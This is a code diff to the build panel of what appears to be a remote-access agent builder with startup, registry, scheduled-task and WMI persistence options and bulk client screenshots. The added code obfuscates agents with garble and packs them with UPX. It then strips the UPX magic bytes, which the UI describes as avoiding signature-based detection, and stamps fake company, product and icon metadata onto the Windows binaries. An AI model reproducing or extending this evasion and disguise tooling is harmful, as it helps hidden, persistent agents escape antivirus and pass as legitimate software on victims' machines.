if (countEl) countEl.textContent = `${canvasBlocks.length} block${canvasBlocks.length !== 1 ? "s" : ""}`;
});
observer.observe(canvas, { childList: true });
}
export function getCompiledScript(mode) {
return compileBlocks(mode || "powershell");
}
export function getCanvasBlocks() {
return canvasBlocks;
}
export function clearCanvas() {
canvasBlocks = [];
renderCanvas();
updatePreview();
}
+116 -1
View File
@@ -231,6 +231,23 @@
</p>
</div>
<!-- Output Name -->
<div>
<label class="block text-sm font-medium text-slate-300 mb-2" for="output-name">
Output Filename
</label>
<input
type="text"
id="output-name"
name="output-name"
placeholder="agent (default)"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors"
/>
<p class="text-xs text-slate-500 mt-1">
Optional: Custom name prefix for output binaries (letters, numbers, . _ - only)
</p>
</div>
<!-- Mutex -->
<div>
<label
@@ -358,7 +375,8 @@
<div class="flex flex-col">
<span class="flex items-center gap-2"
><i class="fa-solid fa-window-minimize text-emerald-400"></i>
Hide Console Window (Windows)</span
Hide Console Window
<span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold"><i class="fa-brands fa-windows mr-0.5"></i>Windows</span></span
>
<span class="text-xs text-slate-500"
>Builds Windows EXEs as GUI apps (no console)</span
@@ -384,6 +402,103 @@
>
</div>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-cyan-500 transition-colors"
title="Compress binaries with UPX to reduce file size"
>
<input
type="checkbox"
name="enable-upx"
class="w-4 h-4"
/>
<div class="flex flex-col">
<span class="flex items-center gap-2"
><i class="fa-solid fa-compress text-cyan-400"></i>
UPX Compression</span
>
<span class="text-xs text-slate-500"
>Compress binaries with UPX (requires UPX installed on server)</span
>
</div>
</label>
<div
id="upx-settings-container"
class="hidden pl-3 border-l-2 border-cyan-500/40"
>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer">
<input type="checkbox" name="upx-strip-headers" class="w-4 h-4" />
<div class="flex flex-col">
<span>Strip UPX Headers</span>
<span class="text-xs text-slate-500">Remove UPX magic bytes to avoid signature-based detection</span>
</div>
</label>
</div>
</div>
</div>
<!-- Garble Settings (shown when obfuscate is checked) -->
<div id="garble-settings-container" class="hidden">
<label class="block text-sm font-medium text-slate-300 mb-2">
<i class="fa-solid fa-mask text-purple-400"></i> Garble Settings
</label>
<div class="flex flex-col gap-2 pl-3 border-l-2 border-purple-500/40">
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer">
<input type="checkbox" name="garble-literals" class="w-4 h-4" />
<div class="flex flex-col">
<span>Obfuscate Literals (-literals)</span>
<span class="text-xs text-slate-500">Obfuscate string and byte slice literals</span>
</div>
</label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer">
<input type="checkbox" name="garble-tiny" class="w-4 h-4" />
<div class="flex flex-col">
<span>Tiny Mode (-tiny)</span>
<span class="text-xs text-slate-500">Remove extra info like filenames and line numbers from panics</span>
</div>
</label>
<div>
<label class="block text-xs font-medium text-slate-400 mb-1" for="garble-seed">Seed</label>
<input type="text" id="garble-seed" name="garble-seed" placeholder="random (default)"
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-purple-500 transition-colors" />
<p class="text-xs text-slate-500 mt-1">Alphanumeric seed for reproducible builds</p>
</div>
</div>
</div>
<!-- Windows Assembly / PE Metadata -->
<div>
<label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2 flex-wrap">
<i class="fa-brands fa-windows text-blue-400"></i> Windows Assembly Data
<span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold"><i class="fa-brands fa-windows mr-0.5"></i>Windows only</span>
</label>
<div class="flex flex-col gap-2">
<input type="text" id="assembly-title" name="assembly-title" placeholder="File Description"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-blue-500 transition-colors" />
<input type="text" id="assembly-product" name="assembly-product" placeholder="Product Name"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-blue-500 transition-colors" />
<input type="text" id="assembly-company" name="assembly-company" placeholder="Company Name"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-blue-500 transition-colors" />
<input type="text" id="assembly-version" name="assembly-version" placeholder="File Version (e.g. 1.0.0.0)"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-blue-500 transition-colors" />
<input type="text" id="assembly-copyright" name="assembly-copyright" placeholder="Copyright"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-blue-500 transition-colors" />
</div>
</div>
<!-- Icon Upload -->
<div>
<label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2 flex-wrap">
<i class="fa-solid fa-image text-yellow-400"></i> Custom Icon
<span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold"><i class="fa-brands fa-windows mr-0.5"></i>Windows only</span>
<span class="text-xs text-slate-500 font-normal">.ico, max 1MB</span>
</label>
<div class="flex items-center gap-3">
<label class="flex items-center gap-2 px-4 py-2 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-yellow-500 transition-colors text-sm">
<i class="fa-solid fa-upload text-yellow-400"></i>
<span id="icon-label">Choose .ico file</span>
<input type="file" id="icon-upload" name="icon-upload" accept=".ico" class="hidden" />
</label>
<button type="button" id="icon-clear" class="hidden text-xs text-red-400 hover:text-red-300">Clear</button>
</div>
</div>
+2 -2
View File
@@ -112,7 +112,7 @@
<!-- Bulk Actions Toolbar -->
<div
id="bulk-toolbar"
class="hidden bg-indigo-900/40 border border-indigo-700/60 rounded-lg p-3 flex items-center justify-between gap-3"
class="hidden bg-indigo-900/40 border border-indigo-700/60 rounded-lg p-3 flex flex-wrap items-center justify-between gap-3"
>
<div class="flex items-center gap-2">
<i class="fa-solid fa-check-double text-indigo-300"></i>
@@ -120,7 +120,7 @@
><span id="selected-count">0</span> selected</span
>
</div>
<div class="flex items-center gap-2">
<div class="flex items-center gap-2 flex-wrap">
<button
id="bulk-screenshot"
class="px-3 py-2 rounded-lg bg-indigo-800/60 hover:bg-indigo-700 text-indigo-100 border border-indigo-600 transition-colors"
+20 -1
View File
@@ -79,8 +79,27 @@
</div>
</div>
<!-- Mode Toggle -->
<div class="lg:col-span-3">
<div class="flex items-center gap-2 bg-slate-900/70 rounded-xl border border-slate-800 p-3">
<button id="mode-toggle-code" class="flex-1 flex items-center justify-center gap-2 px-4 py-2 rounded-lg font-semibold text-sm transition-colors bg-emerald-600 text-white">
<i class="fa-solid fa-code"></i> Code Editor
</button>
<button id="mode-toggle-visual" class="flex-1 flex items-center justify-center gap-2 px-4 py-2 rounded-lg font-semibold text-sm transition-colors bg-slate-800 text-slate-300 hover:bg-slate-700">
<i class="fa-solid fa-puzzle-piece"></i> Visual Builder
</button>
</div>
</div>
<!-- Visual Builder (hidden by default) -->
<div id="visual-builder-section" class="lg:col-span-3 hidden">
<div class="bg-slate-900/70 rounded-xl border border-slate-800 p-6">
<div id="visual-builder-container"></div>
</div>
</div>
<!-- Script Editor -->
<div class="lg:col-span-2">
<div id="code-editor-section" class="lg:col-span-2">
<div class="bg-slate-900/70 rounded-xl border border-slate-800 p-6 h-full flex flex-col">
<div class="flex items-center justify-between mb-4">
<h2 class="text-xl font-semibold">Script Editor</h2>
+13
View File
@@ -6,6 +6,7 @@ export type BuildStream = {
expiresAt: number;
files: { name: string; size: number; platform?: string }[];
updates?: any[];
userId?: number;
};
export type BuildConfig = {
@@ -21,4 +22,16 @@ export type BuildConfig = {
persistenceMethod?: string;
hideConsole?: boolean;
noPrinting?: boolean;
outputName?: string;
garbleLiterals?: boolean;
garbleTiny?: boolean;
garbleSeed?: string;
assemblyTitle?: string;
assemblyProduct?: string;
assemblyCompany?: string;
assemblyVersion?: string;
assemblyCopyright?: string;
iconBase64?: string;
enableUpx?: boolean;
upxStripHeaders?: boolean;
};
+2 -6
View File
@@ -1,5 +1,5 @@
import { spawn } from "child_process";
import { existsSync, mkdirSync } from "fs";
import { existsSync, mkdirSync, unlinkSync } from "fs";
import { dirname } from "path";
interface CertOptions {
@@ -91,11 +91,7 @@ ${additionalIPs.map((ip, i) => `IP.${i + 3} = ${ip}`).join("\n")}
]);
try {
await Bun.file(configPath)
.text()
.then(() => {
spawn("rm", ["-f", configPath]);
});
unlinkSync(configPath);
} catch {}
console.log(`[TLS] ✓ Certificate generated successfully`);
+15 -1
View File
@@ -651,7 +651,21 @@ export function getBuildByTag(buildTag: string): BuildRecord | null {
};
}
export function getAllBuilds(): BuildRecord[] {
export function getAllBuilds(userId?: number, role?: string): BuildRecord[] {
if (role !== "admin" && userId != null) {
const rows = db
.query<any>(`SELECT * FROM builds WHERE built_by_user_id = ? ORDER BY start_time DESC`)
.all(userId);
return rows.map((row) => ({
id: row.id,
status: row.status,
startTime: row.start_time,
expiresAt: row.expires_at,
files: JSON.parse(row.files),
buildTag: row.build_tag || undefined,
builtByUserId: row.built_by_user_id || undefined,
}));
}
const rows = db
.query<any>(`SELECT * FROM builds ORDER BY start_time DESC`)
.all();
+341 -19
View File
@@ -66,8 +66,144 @@ type BuildProcessConfig = {
hideConsole?: boolean;
noPrinting?: boolean;
builtByUserId?: number;
outputName?: string;
garbleLiterals?: boolean;
garbleTiny?: boolean;
garbleSeed?: string;
assemblyTitle?: string;
assemblyProduct?: string;
assemblyCompany?: string;
assemblyVersion?: string;
assemblyCopyright?: string;
iconBase64?: string;
enableUpx?: boolean;
upxStripHeaders?: boolean;
};
async function ensureUpxAvailable(sendToStream: (data: any) => void): Promise<string | null> {
try {
const check = await $`upx --version`.quiet().nothrow();
if (check.exitCode === 0) {
const ver = check.stdout.toString().split("\n")[0]?.trim() || "upx";
sendToStream({ type: "output", text: `UPX found: ${ver}\n`, level: "info" });
return "upx";
}
} catch {}
sendToStream({ type: "output", text: "UPX not found, attempting auto-install...\n", level: "info" });
const isWindows = process.platform === "win32";
if (!isWindows) {
try {
const apt = await $`apt-get install -y upx-ucl 2>&1`.nothrow().quiet();
if (apt.exitCode === 0) {
sendToStream({ type: "output", text: "UPX installed via apt-get\n", level: "info" });
return "upx";
}
} catch {}
try {
const apt2 = await $`apt-get install -y upx 2>&1`.nothrow().quiet();
if (apt2.exitCode === 0) {
sendToStream({ type: "output", text: "UPX installed via apt-get\n", level: "info" });
return "upx";
}
} catch {}
try {
const yum = await $`yum install -y upx 2>&1`.nothrow().quiet();
if (yum.exitCode === 0) {
sendToStream({ type: "output", text: "UPX installed via yum\n", level: "info" });
return "upx";
}
} catch {}
}
if (isWindows) {
try {
const winget = await $`winget install --id upx.upx -e --accept-source-agreements --accept-package-agreements 2>&1`.nothrow().quiet();
if (winget.exitCode === 0) {
sendToStream({ type: "output", text: "UPX installed via winget\n", level: "info" });
return "upx";
}
} catch {}
try {
const choco = await $`choco install upx -y 2>&1`.nothrow().quiet();
if (choco.exitCode === 0) {
sendToStream({ type: "output", text: "UPX installed via chocolatey\n", level: "info" });
return "upx";
}
} catch {}
}
const arch = process.arch === "x64" ? "amd64" : process.arch === "arm64" ? "arm64" : "amd64";
const plat = isWindows ? "win64" : "amd64_linux";
const upxVersion = "4.2.4";
const archiveName = `upx-${upxVersion}-${plat}`;
const ext = isWindows ? "zip" : "tar.xz";
const url = `https://github.com/upx/upx/releases/download/v${upxVersion}/${archiveName}.${ext}`;
const tmpDir = path.join(ensureDataDir(), "upx-install");
fs.mkdirSync(tmpDir, { recursive: true });
const archivePath = path.join(tmpDir, `upx.${ext}`);
try {
sendToStream({ type: "output", text: `Downloading UPX from ${url}...\n`, level: "info" });
const dlResult = await $`curl -fsSL -o ${archivePath} ${url}`.nothrow().quiet();
if (dlResult.exitCode !== 0) {
sendToStream({ type: "output", text: "WARNING: Failed to download UPX. Skipping compression.\n", level: "warn" });
return null;
}
if (isWindows) {
await $`tar -xf ${archivePath} -C ${tmpDir}`.nothrow().quiet();
} else {
await $`tar -xJf ${archivePath} -C ${tmpDir}`.nothrow().quiet();
}
const upxBinName = isWindows ? "upx.exe" : "upx";
const extractedDir = path.join(tmpDir, archiveName);
const upxBin = path.join(extractedDir, upxBinName);
if (fs.existsSync(upxBin)) {
if (!isWindows) {
await $`chmod +x ${upxBin}`.nothrow().quiet();
}
sendToStream({ type: "output", text: `UPX downloaded to ${upxBin}\n`, level: "info" });
return upxBin;
}
sendToStream({ type: "output", text: "WARNING: UPX binary not found after extraction. Skipping compression.\n", level: "warn" });
return null;
} catch (err: any) {
sendToStream({ type: "output", text: `WARNING: UPX auto-install failed: ${err.message || err}. Skipping compression.\n`, level: "warn" });
return null;
}
}
function stripUpxHeaders(filePath: string): boolean {
try {
const buf = Buffer.from(fs.readFileSync(filePath));
const UPX_MAGIC = Buffer.from("UPX!");
let modified = false;
let offset = 0;
while (offset < buf.length - 3) {
const idx = buf.indexOf(UPX_MAGIC, offset);
if (idx === -1) break;
buf[idx] = 0x00;
buf[idx + 1] = 0x00;
buf[idx + 2] = 0x00;
buf[idx + 3] = 0x00;
modified = true;
offset = idx + 4;
}
if (modified) {
fs.writeFileSync(filePath, buf);
}
return modified;
} catch {
return false;
}
}
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
type BuildProcessDeps = {
@@ -102,6 +238,7 @@ export async function startBuildProcess(
startTime: now,
expiresAt: now + SEVEN_DAYS_MS,
files: [],
userId: config.builtByUserId,
};
buildManager.addBuildStream(buildId, build);
@@ -128,6 +265,9 @@ export async function startBuildProcess(
});
};
let winresTempDir: string | null = null;
const generatedSysoFiles: string[] = [];
const buildStartedAt = Date.now();
const keepAliveTimer = setInterval(() => {
const elapsedMinutes = Math.floor((Date.now() - buildStartedAt) / 60_000);
@@ -226,12 +366,148 @@ export async function startBuildProcess(
const buildTag = uuidv4();
sendToStream({ type: "output", text: `Build tag: ${buildTag}\n`, level: "info" });
if (config.outputName) {
sendToStream({ type: "output", text: `Custom output name: ${config.outputName}\n`, level: "info" });
}
let upxBin: string | null = null;
if (config.enableUpx) {
upxBin = await ensureUpxAvailable(sendToStream);
if (!upxBin) {
sendToStream({ type: "output", text: "WARNING: UPX could not be installed. Compression will be skipped.\n", level: "warn" });
}
}
const hasAssemblyData = !!(config.assemblyTitle || config.assemblyProduct || config.assemblyCompany || config.assemblyVersion || config.assemblyCopyright || config.iconBase64);
const hasWindowsTargets = platformsToBuild.some((p) => p.startsWith("windows-"));
if (hasAssemblyData && hasWindowsTargets) {
sendToStream({ type: "status", text: "Generating Windows resource data..." });
const goEnvResult = await $`go env GOPATH`.quiet();
const goPath = goEnvResult.stdout.toString().trim();
const goBinDir = process.env.GOBIN || (goPath ? path.join(goPath, "bin") : "");
const winresExe = process.platform === "win32" ? "go-winres.exe" : "go-winres";
let winresBin = "go-winres";
let hasWinres = false;
if (goBinDir && fs.existsSync(path.join(goBinDir, winresExe))) {
winresBin = path.join(goBinDir, winresExe);
hasWinres = true;
} else {
try {
await $`go-winres version`.quiet();
hasWinres = true;
} catch {
try {
sendToStream({ type: "output", text: "Installing go-winres...\n", level: "info" });
await $`go install github.com/tc-hib/go-winres@latest`.env({ ...process.env, GOMODCACHE: goModCacheDir }).quiet();
if (goBinDir && fs.existsSync(path.join(goBinDir, winresExe))) {
winresBin = path.join(goBinDir, winresExe);
hasWinres = true;
}
} catch (installErr: any) {
sendToStream({ type: "output", text: `WARNING: Failed to install go-winres: ${installErr.message || installErr}. Assembly data/icon will be skipped.\n`, level: "warn" });
}
}
}
if (hasWinres) {
const agentDir = path.join(clientDir, "cmd", "agent");
const winresLockPath = path.join(agentDir, ".winres.lock");
if (fs.existsSync(winresLockPath)) {
sendToStream({
type: "output",
text: "WARNING: Another build is currently generating Windows resources for this client. Skipping winres for this build.\n",
level: "warn",
});
} else {
// Acquire a simple lock so only one build at a time touches cmd/agent/*.syso
fs.writeFileSync(winresLockPath, String(process.pid));
try {
sendToStream({ type: "output", text: `Using go-winres: ${winresBin}\n`, level: "info" });
winresTempDir = path.join(outDir, `.winres-${buildId.substring(0, 8)}`);
fs.mkdirSync(winresTempDir, { recursive: true });
const winresConfig: any = {};
if (config.iconBase64) {
try {
const iconBuffer = Buffer.from(config.iconBase64, "base64");
const iconPath = path.join(winresTempDir, "icon.ico");
fs.writeFileSync(iconPath, iconBuffer);
winresConfig["RT_GROUP_ICON"] = { "#1": { "0000": "icon.ico" } };
sendToStream({ type: "output", text: `Icon embedded (${iconBuffer.length} bytes)\n`, level: "info" });
} catch (iconErr: any) {
sendToStream({ type: "output", text: `WARNING: Failed to process icon: ${iconErr.message}. Skipping icon.\n`, level: "warn" });
}
}
const versionStr = config.assemblyVersion || "0.0.0.0";
const versionInfo: any = {
"0409": {
"FileDescription": config.assemblyTitle || "",
"ProductName": config.assemblyProduct || "",
"CompanyName": config.assemblyCompany || "",
"FileVersion": versionStr,
"ProductVersion": versionStr,
"LegalCopyright": config.assemblyCopyright || "",
"OriginalFilename": config.outputName ? (config.outputName + ".exe") : "",
},
};
winresConfig["RT_VERSION"] = {
"#1": {
"0000": {
"fixed": {
"file_version": versionStr,
"product_version": versionStr,
},
"info": versionInfo,
},
},
};
const winresJsonPath = path.join(winresTempDir, "winres.json");
fs.writeFileSync(winresJsonPath, JSON.stringify(winresConfig, null, 2));
sendToStream({ type: "output", text: `Winres config: ${winresJsonPath}\n`, level: "info" });
const sysoOutPrefix = path.join(agentDir, "rsrc");
try {
const winresResult = await $`${winresBin} make --in ${winresJsonPath} --out ${sysoOutPrefix}`.cwd(winresTempDir).nothrow().quiet();
if (winresResult.exitCode !== 0) {
const stderr = winresResult.stderr.toString().trim();
sendToStream({ type: "output", text: `WARNING: go-winres failed (exit ${winresResult.exitCode}): ${stderr}\nBuilding without assembly data.\n`, level: "warn" });
} else {
for (const f of fs.readdirSync(agentDir)) {
if (f.startsWith("rsrc") && f.endsWith(".syso")) {
generatedSysoFiles.push(path.join(agentDir, f));
}
}
sendToStream({ type: "output", text: `Windows resources generated (${generatedSysoFiles.length} .syso files)\n`, level: "info" });
}
} catch (winresErr: any) {
sendToStream({ type: "output", text: `WARNING: go-winres failed: ${winresErr.message || winresErr}. Building without assembly data.\n`, level: "warn" });
}
} finally {
try {
fs.unlinkSync(winresLockPath);
} catch {
// ignore errors removing the lock
}
}
}
}
}
for (const platform of platformsToBuild) {
const [os, arch, ...rest] = platform.split("-");
const goarm = arch === "armv7" ? "7" : undefined;
const actualArch = goarm ? "arm" : arch;
const namePrefix = config.outputName || "agent";
const outputName = deps.sanitizeOutputName(
platform.includes("windows") ? `agent-${platform}.exe` : `agent-${platform}`,
platform.includes("windows") ? `${namePrefix}-${platform}.exe` : `${namePrefix}-${platform}`,
);
sendToStream({ type: "status", text: `Building ${platform}...` });
@@ -343,6 +619,15 @@ export async function startBuildProcess(
if (config.obfuscate) {
sendToStream({ type: "output", text: "Obfuscation enabled (garble)\n", level: "info" });
if (config.garbleLiterals) {
sendToStream({ type: "output", text: "Garble: obfuscate literals (-literals)\n", level: "info" });
}
if (config.garbleTiny) {
sendToStream({ type: "output", text: "Garble: tiny mode (-tiny)\n", level: "info" });
}
if (config.garbleSeed) {
sendToStream({ type: "output", text: `Garble: seed=${config.garbleSeed}\n`, level: "info" });
}
}
if (config.noPrinting) {
@@ -355,21 +640,25 @@ export async function startBuildProcess(
logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`);
logger.info(`[build:${buildId.substring(0, 8)}] Environment: GOOS=${os} GOARCH=${actualArch} CGO_ENABLED=${env.CGO_ENABLED} CC=${env.CC || "<default>"}`);
const buildCmd = config.obfuscate
? (config.noPrinting
? (ldflags
? $`garble build -tags noprint -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
: $`garble build -tags noprint -o ${outDir}/${outputName} ./cmd/agent`)
: (ldflags
? $`garble build -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
: $`garble build -o ${outDir}/${outputName} ./cmd/agent`))
: (config.noPrinting
? (ldflags
? $`go build -tags noprint -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
: $`go build -tags noprint -o ${outDir}/${outputName} ./cmd/agent`)
: (ldflags
? $`go build -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
: $`go build -o ${outDir}/${outputName} ./cmd/agent`));
const garbleFlags: string[] = [];
if (config.obfuscate) {
if (config.garbleLiterals) garbleFlags.push("-literals");
if (config.garbleTiny) garbleFlags.push("-tiny");
if (config.garbleSeed) garbleFlags.push(`-seed=${config.garbleSeed}`);
}
const buildArgs: string[] = [];
if (config.noPrinting) buildArgs.push("-tags", "noprint");
if (ldflags) buildArgs.push(`-ldflags=${ldflags}`);
buildArgs.push("-o", `${outDir}/${outputName}`, "./cmd/agent");
let buildCmd;
if (config.obfuscate) {
const allArgs = [...garbleFlags, "build", ...buildArgs];
buildCmd = $`garble ${allArgs}`;
} else {
buildCmd = $`go build ${buildArgs}`;
}
const proc = buildCmd.env(env).cwd(clientDir).nothrow();
let result: any;
@@ -395,15 +684,42 @@ export async function startBuildProcess(
}
const filePath = `${outDir}/${outputName}`;
const file = Bun.file(filePath);
const size = file.size;
let finalSize = Bun.file(filePath).size;
if (upxBin) {
sendToStream({ type: "output", text: `Compressing ${outputName} with UPX...\n`, level: "info" });
const originalSize = finalSize;
try {
const upxResult = await $`${upxBin} --best ${filePath}`.nothrow().quiet();
if (upxResult.exitCode !== 0) {
const stderr = upxResult.stderr.toString().trim();
sendToStream({ type: "output", text: `WARNING: UPX compression failed (exit ${upxResult.exitCode}): ${stderr}\n`, level: "warn" });
} else {
finalSize = Bun.file(filePath).size;
const ratio = ((1 - finalSize / originalSize) * 100).toFixed(1);
sendToStream({ type: "output", text: `UPX compressed: ${originalSize} → ${finalSize} bytes (${ratio}% reduction)\n`, level: "info" });
if (config.upxStripHeaders) {
const stripped = stripUpxHeaders(filePath);
if (stripped) {
finalSize = Bun.file(filePath).size;
sendToStream({ type: "output", text: `UPX headers stripped (signature removed)\n`, level: "info" });
} else {
sendToStream({ type: "output", text: `WARNING: No UPX signatures found to strip\n`, level: "warn" });
}
}
}
} catch (upxErr: any) {
sendToStream({ type: "output", text: `WARNING: UPX failed: ${upxErr.message || upxErr}\n`, level: "warn" });
}
}
(build.files as any[]).push({
name: outputName,
filename: outputName,
platform,
version: agentVersion,
size,
size: finalSize,
});
} catch (err: any) {
const errorMsg = `[ERROR] Failed to build ${platform}: ${err.message || err}\n`;
@@ -444,5 +760,11 @@ export async function startBuildProcess(
}, 60 * 60 * 1000);
} finally {
clearInterval(keepAliveTimer);
for (const sysoFile of generatedSysoFiles) {
try { fs.unlinkSync(sysoFile); } catch {}
}
if (winresTempDir) {
try { fs.rmSync(winresTempDir, { recursive: true, force: true }); } catch {}
}
}
}
@@ -52,6 +52,18 @@ export async function handleBuildRoutes(
disableMutex,
hideConsole,
noPrinting,
outputName,
garbleLiterals,
garbleTiny,
garbleSeed,
assemblyTitle,
assemblyProduct,
assemblyCompany,
assemblyVersion,
assemblyCopyright,
iconBase64,
enableUpx,
upxStripHeaders,
} = body;
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
@@ -119,6 +131,21 @@ export async function handleBuildRoutes(
typeof persistenceMethod === 'string' && VALID_PERSISTENCE_METHODS.has(persistenceMethod.toLowerCase())
? persistenceMethod.toLowerCase()
: 'startup';
const safeOutputName = typeof outputName === "string" && /^[A-Za-z0-9._-]{1,64}$/.test(outputName.trim())
? outputName.trim()
: undefined;
const safeGarbleSeed = typeof garbleSeed === "string" && /^[A-Za-z0-9]{1,64}$/.test(garbleSeed.trim())
? garbleSeed.trim()
: undefined;
const safeAssemblyVersion = typeof assemblyVersion === "string" && /^\d{1,5}\.\d{1,5}\.\d{1,5}\.\d{1,5}$/.test(assemblyVersion.trim())
? assemblyVersion.trim()
: undefined;
const safeStr = (val: any, max = 128) =>
typeof val === "string" && val.trim().length > 0 ? val.trim().slice(0, max) : undefined;
const safeIconBase64 = typeof iconBase64 === "string" && iconBase64.length > 0 && iconBase64.length <= 2 * 1024 * 1024
? iconBase64
: undefined;
deps.startBuildProcess(buildId, {
platforms: allowedPlatforms,
serverUrl: safeServerUrl,
@@ -133,6 +160,18 @@ export async function handleBuildRoutes(
hideConsole: !!hideConsole,
noPrinting: safeNoPrinting,
builtByUserId: user.userId,
outputName: safeOutputName,
garbleLiterals: !!garbleLiterals,
garbleTiny: !!garbleTiny,
garbleSeed: safeGarbleSeed,
assemblyTitle: safeStr(assemblyTitle),
assemblyProduct: safeStr(assemblyProduct),
assemblyCompany: safeStr(assemblyCompany),
assemblyVersion: safeAssemblyVersion,
assemblyCopyright: safeStr(assemblyCopyright),
iconBase64: safeIconBase64,
enableUpx: !!enableUpx,
upxStripHeaders: !!upxStripHeaders,
});
return Response.json({ buildId });
@@ -141,7 +180,7 @@ export async function handleBuildRoutes(
if (req.method === "GET" && url.pathname === "/api/build/list") {
requirePermission(user, "clients:build");
const builds = getAllBuilds();
const builds = getAllBuilds(user.userId, user.role);
return Response.json({ builds });
}